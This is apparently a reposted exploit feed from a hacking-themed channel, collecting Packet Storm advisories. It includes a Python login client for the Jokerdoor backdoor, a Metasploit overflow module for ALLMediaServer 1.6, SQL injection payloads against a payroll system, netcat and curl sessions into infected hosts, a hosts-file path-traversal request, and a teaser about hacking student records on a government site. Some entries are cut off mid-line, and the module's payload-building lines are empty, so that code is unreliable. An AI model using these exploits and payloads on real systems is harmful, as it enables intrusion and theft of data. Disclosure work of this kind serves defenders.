Exploit Collector
Backdoor.Win32.Jokerdoor Hardcoded Credential

https://1.bp.blogspot.com/-HlvbbOwsdTc/WWlvV_wSsQI/AAAAAAAAIOA/psrlTyexNtUDdre2JEY7YvqsGP1V8LJKQCLcBGAs/s1600/h47.png
Backdoor.Win32.Jokerdoor malware suffers from a hardcoded credential vulnerability.

MD5 | ba62df2bcde07584c4133320450d7f09

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/a6437375fff871dff97dc91c8fd6259f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Jokerdoor
Vulnerability: Weak Hardcoded Credentials
Family: Jokerdoor
Type: PE32
MD5: a6437375fff871dff97dc91c8fd6259f
Vuln ID: MVID-2022-0531
Dropped files: Random name "awup.exe"
Disclosure: 04/02/2022
Description: The malware listens on TCP port 27374. The password "mathiasJ" is weak and hardcoded in the PE file. Failed authentication generates a "POPUP incorrect password..." message, using TELNET results in an error "PWDPerror reading password..." Using Nc64.exe utility results in a trailing line feed character "\n" after the supplied password. This causes the cmp statement check to fail even if the password is correct due to the "\n" character.

004BDA0C | 8B 45 EC | mov eax,dword ptr ss:[ebp-14] | [ebp-14]:" mathiasJ\n"
004BDA0F | 8B 15 0C AC 4D 00 | mov edx,dword ptr ds:[4DAC0C] | 004DAC0C:&"mathiasJ"
004041C7 | 39 D0 | cmp eax,edx | eax" mathiasJ\n", edx"mathiasJ"

So we will need to write a custom client ourselves. The password must also be sent with no space and prefixed with "PWD" E.g. "PWDmathiasJ". Upon successful authentication we get a message e.g. "PWDconnected time, date Legends 2.1".

Exploit/PoC:
from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=27374

def chk_res(s):
res=""
while True:
res += s.recv(512)
break
if "\0" in res or "\n" in res or res == "":
break
return res

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
time.sleep(1)

PAYLOAD="PWDmathiasJ"
s.send(PAYLOAD)

time.sleep(1)
print(chk_res(s))
s.close()

if __name__=="__main__":
doit()
print("Malvuln")
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
ALLMediaServer 1.6 Buffer Overflow

https://3.bp.blogspot.com/-p2bRUn4ag8U/WWlvPJDaCwI/AAAAAAAAIMw/gkQGiTtaXucRRVbpvBkwiWIbJMO4BFlLwCLcBGAs/s1600/h28.png
This Metasploit module exploits a stack buffer overflow in ALLMediaServer version 1.6. The vulnerability is caused due to a boundary error within the handling of HTTP request.

MD5 | 61fcfaad6e71b0e3655c316038732c1b

Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# Author: Hejap Zairy
# Date: 1.08.2022
# Exploit Prof
# Proof and Exploit:
#image:https://i.imgur.com/yLrRR2t.png
#video:https://streamable.com/x4i50c
require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'ALLMediaServer 1.6 Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in ALLMediaServer 1.6
The vulnerability is caused due to a boundary error within the
handling of HTTP request.
Thank you Saud Alenazi and 0xSaudi
and Muhammad Al Ahmadi and all the friends in Tuwaiq i Love Tuwaiq
},
'License' => MSF_LICENSE,
'Author' =>
[
'Hejap Zairy Al-Sharif', # Remote exploit and Metasploit module
],
'DefaultOptions' =>
{
'ExitFunction' => 'process', #none/process/thread/seh
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => '\x00\x0a\x0d\xff'
},

'Targets' =>
[
[ 'ALLMediaServer 1.6 / Windows 10 - English',
{
'Ret' => 0x0040590B, # POP ESI # POP EBX # RET
'Offset' => 1072
}
],
[ 'ALLMediaServer 1.6 / Windows XP SP3 - English',
{
'Ret' => 0x0040590B, # POP ESI # POP EBX # RET
'Offset' => 1072
}
],
[ 'ALLMediaServer 1.6 / Windows 7 SP1 - English',
{
'Ret' => 0x0040590B, # POP ESI # POP EBX # RET
'Offset' => 1072
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Apr 1 2022',
'DefaultTarget' => 1))

register_options([Opt::RPORT(888)], self.class)

end

def exploit
connect
buffer = ""
buffer <<
buffer <<
buffer <<
buffer <<
buffer <<
buffer <<
print_status("Sending payload ... \n Exploit MediaServer")
sock.put(buffer)
handler
disconnect
end
end

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Payroll Management System 1.0 SQL Injection

https://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png
Payroll Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 5d92529eb6880b2dfb38b7ae251db0fe

Download
## Title: Payroll Management System v1.0 SQLi
## Author: nu11secur1ty
## Date: 04.03.2022
## Vendor: https://www.sourcecodester.com/user/257130/activity
## Software: https://www.sourcecodester.com/php/14475/payroll-management-system-using-phpmysql-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Payroll-Management-System

## Description:
The `username` parameter appears to be vulnerable to SQL injection attacks.
The application interacted with that domain, indicating that the
injected SQL query was executed.
The attacker can take administrator account control and also of all
accounts on this system, also the malicious user can download all
information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: username (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: username=qkdmZlGW' AND (SELECT 3371 FROM(SELECT
COUNT(*),CONCAT(0x716b707871,(SELECT
(ELT(3371=3371,1))),0x717a7a7871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VIhP&password=s0N!s2u!A6'

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=qkdmZlGW' AND (SELECT 9476 FROM
(SELECT(SLEEP(5)))NodP)-- Xiww&password=s0N!s2u!A6'
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Payroll-Management-System)

## Proof and Exploit:
[href](https://streamable.com/aj8bcv)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Wollf.h Remote Command Execution

https://4.bp.blogspot.com/-xWCWgAV3Ny0/WWlvBhL9TTI/AAAAAAAAIKY/j6Iuv-WtlEAbM80hi5qIKa1OI4pChiwSgCLcBGAs/s1600/h124.png Backdoor.Win32.Wollf.h malware suffers from a remote command execution vulnerability.

MD5 | 50cddc6668841cff4b5793d46643e9b5Download Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/867c6b432ccd4aa51adc5e2722a4b144.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.h
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware runs with SYSTEM integrity and listens on TCP port 7614. Third-party adversaries who can reach an infected host can run commands made available by the backdoor.
Family: Wollf
Type: PE32
MD5: 867c6b432ccd4aa51adc5e2722a4b144
Vuln ID: MVID-2022-0530
Dropped files: wrm.exe
Disclosure: 04/02/2022

Exploit/PoC:
c:\>nc64.exe x.x.x.x 7614
"Wollf Remote Manager" v1.6
Code by wollf, http://www.xfocus.org

[DESKTOP-2C3IQHO@C:\WINDOWS\system32]#help

DOS Switch to MS-DOS prompt
DIR/LS/LIST Directory and file list
CD Entry directory
MD/MKDIR Make directory
PWD Get current dirctory
COPY/CP Copy file
DEL/RM Delete directory/file
REN/RENAME Rename file
MOVE/MV Move file
TYPE/CAT Type text file

POPMSG Popup message box
SYSINFO Get system information
WHO/W Get current connections

SHELL Execute command by system shell(cmd.exe)
EXEC/RUN Execute file by windows API(WinExec)
WS Windows list
PS Process list
KILL Kill process

GET/GETFILE Download file from remote machine
PUT/PUTFILE Upload file to remote machine
WGET Get file from web server
FGET Get file from ftp server
FPUT Put file to ftp server
TELNET Connect to other host

FTPD Start ftp service
TELNETD/TELD/EXPORT Start telnet service (export shell)

REDIR Redirect tcp data from Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Sherpa Connector Service 2020.2.20328.2050 Unquoted Service Path

https://4.bp.blogspot.com/-I-n26yI3Cmk/WWlvWxoCyUI/AAAAAAAAIOM/Fl6K91g5v_sGMssa7qzCkbxeapM4aUyUACLcBGAs/s1600/h50.png
Sherpa Connector Service version 2020.2.20328.2050 suffers from an unquoted service path vulnerability.

MD5 | 8d245fded6c0423ea8f5d318d08ed987

Download
# Exploit Title: Sherpa Connector Service (v2020.2.20328.2050) - Unquoted Service Path
# Exploit Author: Manthan Chhabra (netsectuna), Harshit (fumenoid)
# Version: 2020.2.20328.2050
# Date: 02/04/2022
# Vendor Homepage: http://gimmal.com/
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10
# CVE: CVE-2022-23909
# Step to discover Unquoted Service Path:
C:\>wmic service get name,displayname,pathname,startmode | findstr /i "sherpa" | findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

Sherpa Connector Service Sherpa Connector Service C:\Program Files\Sherpa Software\Sherpa Connector\SherpaConnectorService.exe Auto
C:\>sc qc "Sherpa Connector Service"

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Sherpa Connector Service
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Sherpa Software\Sherpa Connector\SherpaConnectorService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Sherpa Connector Service
DEPENDENCIES : wmiApSrv
SERVICE_START_NAME : LocalSystem

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Roxy File Manager 1.4.5 PHP File Upload Restriction Bypass

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Delf.ps Information Disclosure

https://3.bp.blogspot.com/-D44pcoGQpVY/WWlvlv4DR7I/AAAAAAAAIRA/cd0U1aMX9aAjFzK0BP_4B5_C_6s8ROTKQCLcBGAs/s1600/h99.png
Backdoor.Win32.Delf.ps malware suffers from an information leakage vulnerability.

MD5 | 93e9b7fd6d415d0d6b456f75ee5353ab

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/cf3c08afa6c2d49ba36ed0f895893d71.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Delf.ps
Vulnerability: Information Disclosure
Description: The malware listens on TCP port 80. Third-party adversaries who can reach an infected host can generate and download screenshots of the systems desktop.
Family: Delf
Type: PE32
MD5: cf3c08afa6c2d49ba36ed0f895893d71
Vuln ID: MVID-2022-0532
Disclosure: 04/02/2022

Exploit/PoC:
C:\>curl http://x.x.x.x:80 > screenshot.jpg
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 280k 0 280k 0 0 280k 0 --:--:-- --:--:-- --:--:-- 2577k
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Barco Control Room Management Suite Directory Traversal

https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png
Barco Control Room Management Suite versions prior to 2.9 build 0275 suffer from a directory traversal vulnerability.

MD5 | 88e03b446ae044429f677923af2adc57

Download
*I. SUMMARY*
Title: [CVE-2022-2623] Barco Control Room Management Suite File Path
Traversal Vulnerability
Product: Barco Control Room Management Suite before 2.9 build 0275 and all
prior versions
Vulnerability Type: File Path Traversal
Credit by/Researcher: Murat Aydemir from Accenture Cyber Security Team
(Prague CFC)
Contact: https://twitter.com/mrtydmr75
Github: https://github.com/murataydemir

*II. CVE REFERENCE, CVSS SCORES & VULNERABILITY TYPES*
CVE Number: CVE-2022-26233
CVSSv3: Base score: 7.5 Impact 3.6 Exploitability: 3.9
CVSSv3 Vector: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Vulnerability Type: File Path Traversal
CWE ID: CWE-22 Improper Limitation of a Pathname to a Restricted Directory
('Path Traversal')

*III. PROOF OF CONCEPT (POC) FOR CVE-2022-26233*
Due to lack of input sanitizing inputs which come from url, an application
is vulnerable to file path traversal vulnerability. A succesfully
exploitation of this vulnerability could lead to access/read files and
directories stored on file system including application source code or
configuration and critical system files. No authentication is required to
exploit this vulnerability. An attacker who is not logged into the
application can easily exploit this vulnerability.

GET /..\..\..\..\..\..\..\..\..\..\windows\System32\drivers\etc\hosts
HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0)
Gecko/20100101 Firefox/81.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

[image: file-path-traversal.PNG]

*IV. REFERENCE(S)*
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26233
https://nvd.nist.gov/vuln/detail/CVE-2022-26233
https://www.barco.com/en/support/knowledge-base/kb115*XX*

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Cybersecurity Mesh: IT's Answer to Cloud Security

With a properly functioning cybersecurity mesh architecture, one can guarantee safe, authorized access to data from any access point.

(SQLI) How I Hack Hundreds Of Students Data On Goverment Website

Hola everybody, short story when i browsing on goverment website i found search bar, and first came in to my mind is “SQL INJECTION”Continue reading on Medium »
Read more...

(SQLI) How I Hack Hundreds Of Students Data On Goverment Website
https://snurlaxx.medium.com/sqli-how-i-hacked-hundreds-of-students-data-on-goverment-website-5cd284fbb30c?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hola everybody, short story when i browsing on goverment website i found search bar, and first came in to my mind is “SQL INJECTION”Continue reading on Medium » (https://snurlaxx.medium.com/sqli-how-i-hacked-hundreds-of-students-data-on-goverment-website-5cd284fbb30c?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video